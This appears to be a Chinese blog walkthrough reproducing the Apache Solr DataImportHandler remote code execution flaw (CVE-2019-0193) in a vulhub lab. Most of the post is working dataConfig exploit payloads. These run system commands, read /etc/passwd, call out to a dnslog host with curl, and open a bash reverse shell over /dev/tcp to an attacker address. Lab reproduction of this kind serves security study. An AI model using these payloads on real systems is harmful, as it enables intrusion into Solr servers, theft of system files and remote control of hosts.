当前位置: 首页 > article >正文

Apache Solr RCE(CVE-2019-0193)--vulhub

Apache Solr RCE(CVE-2019-0193)

其原理主要基于Solr的DataImportHandler(数据导入处理器)模块,这个模块允许用户通过配置文件(dataConfig)来定义数据的导入过程,在dataConfig中,用户可以定义JavaScript函数来转换或处理数据。如果这些脚本没有得到适当的限制,攻击者可以利用这一点执行任意代码。

Apache Solr版本小于8.2.0

docker搭建需要额外一步

docker compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db  -force

在这里插入图片描述

漏洞复现

原始poc

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/ccc9wy");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

实现不了,更新了,但文件没创建

在这里插入图片描述

RCE

先在本机搭一个poc.xml

<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

调整一下poc

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

抓个包查看一下,执行poc时抓包
放到重发器中可以看到命令执行结果

在这里插入图片描述

使用dnslog测试

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("curl n6xis3.dnslog.cn").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

执行后成功收到结果

在这里插入图片描述

反弹shell

/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1

完整poc

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

成功获取反弹shell

在这里插入图片描述


http://www.kler.cn/a/445503.html

相关文章:

  • 基于微信小程序的短视频系统(SpringBoot)+文档
  • [创业之路-199]:《华为战略管理法-DSTE实战体系》- 3 - 价值转移理论与利润区理论
  • Javascript-web API-day02
  • 大数据-254 离线数仓 - Airflow 任务调度 核心交易调度任务集成
  • Unity 上好用的插件
  • Apache Kylin最简单的解析、了解
  • Linux里的interface index是按顺序来的吗?[ChatGPT]
  • 【JavaEE初阶】线程 和 thread
  • Mysql迁移达梦大批量数据报错处理_踩坑总结
  • 【Git从入门到精通】——新版IDea集成Git、Idea集成Github、Gitee以及GItLab应用(看这一篇就够了)
  • 鸿蒙审核版本页面显示异常之混淆代码问题
  • MFC 文档模板 每个文档模板需要实例化吧
  • Note20241220_一种组态王Modbus模拟通讯仿真实现方案
  • 《探秘 QT 5.14.1 类库的奇妙世界》
  • html 中 表格和表单的关系与区别
  • 连通“数据”,让制造变“聪明”
  • Leetcode经典题15-- 找出字符串中第一个匹配项的下标(KMP)
  • JS CSS HTML 的代码如何快速封装
  • 使用 Lambda 创建 Authorizer 对 API Gateway 访问进行鉴权
  • Mybatis分页插件的使用问题记录
  • 后摩尔定律时代,什么将推动计算机性能优化的发展?
  • Halcon 机器视觉案例 之 药剂液面高度测量
  • flutter 快速实现侧边栏
  • 软件架构设计方法之The Clean Architecture 整洁架构
  • android opencv导入进行编译
  • 使LED每秒闪烁一次